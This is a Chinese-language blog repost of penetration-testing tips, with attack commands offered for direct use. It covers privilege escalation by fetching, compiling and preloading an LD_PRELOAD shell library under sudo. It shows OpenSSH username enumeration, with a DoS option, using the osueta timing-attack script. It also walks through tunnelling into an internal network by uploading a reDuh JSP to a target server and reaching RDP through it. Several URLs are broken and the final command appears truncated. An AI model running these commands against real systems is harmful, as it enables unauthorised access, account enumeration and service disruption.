拓展学习《【Linux】LD_PRELOAD用法》: https:// blog.csdn.net/iEearth/a rticle/details/49952047
$ wget https://github.com/jivoi/pentest/ldpreload_shell.c $ gcc -shared -fPIC ldpreload_shell.c -o ldpreload_shell.so $ sudo -u user LD_PRELOAD=/tmp/ldpreload_shell.so /usr/local/bin/somesoft
枚举时序攻击(“Enumeration Timing Attack”)属于侧信道攻击/旁路攻击(Side Channel Attack),侧信道攻击是指利用信道外的信息,比如加解密的速度/加解密时芯片引脚的电压/密文传输的流量和途径等进行攻击的方式,一个词形容就是“旁敲侧击”。
osueta 是一个用于对 OpenSSH 进行时序攻击的 python2 脚本,其可以利用时序攻击枚举 OpenSSH 用户名,并在一定条件下可以对 OpenSSH 服务器进行 DOS 攻击。
// 项目地址:https://github.com/c0r3dump3d/osueta $ ./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes $ ./osueta.py -H 192.168.10.22 -p 22 -d 15 -v yes –dos no -L userfile.txt
ReDuh 是一个通过 HTTP 协议建立隧道传输各种其他数据的工具。其可以把内网服务器的端口通过 http/https 隧道转发到本机,形成一个连通回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。
项目地址: https:// github.com/sensepost/re Duh
// 步骤 1 // 上传 reDuh.jsp 目标服务器 $ http://192.168.10.50/uploads/reDuh.jsp // 步骤 2 // 在本机运行 reDuhClient $ java -jar reDuhClient.jar http://192.168.10.50/uploads/reDuh.jsp // 步骤 3 // 使用 nc 连接管理端口 $ nc -nvv 127.0.0.1 1010 // 步骤 4 // 使用隧道转发本地端口到远程目标端口 [createTunnel] 7777:172.16.0.4:3389 // 步骤 5 // 使用 RDP 连接远程 $ /usr/bin/rdesktop -g 1024x768 -P -z -x l -k en-us -r sound:off localhost:7
原文链接: http:// jivoi.github.io/2015/07 /01/pentest-tips-and-tricks/
如果文章对你有帮助的话还请点赞+关注+收藏一键三连支持以下哦!需要渗透视频教程的,可以扫码免费领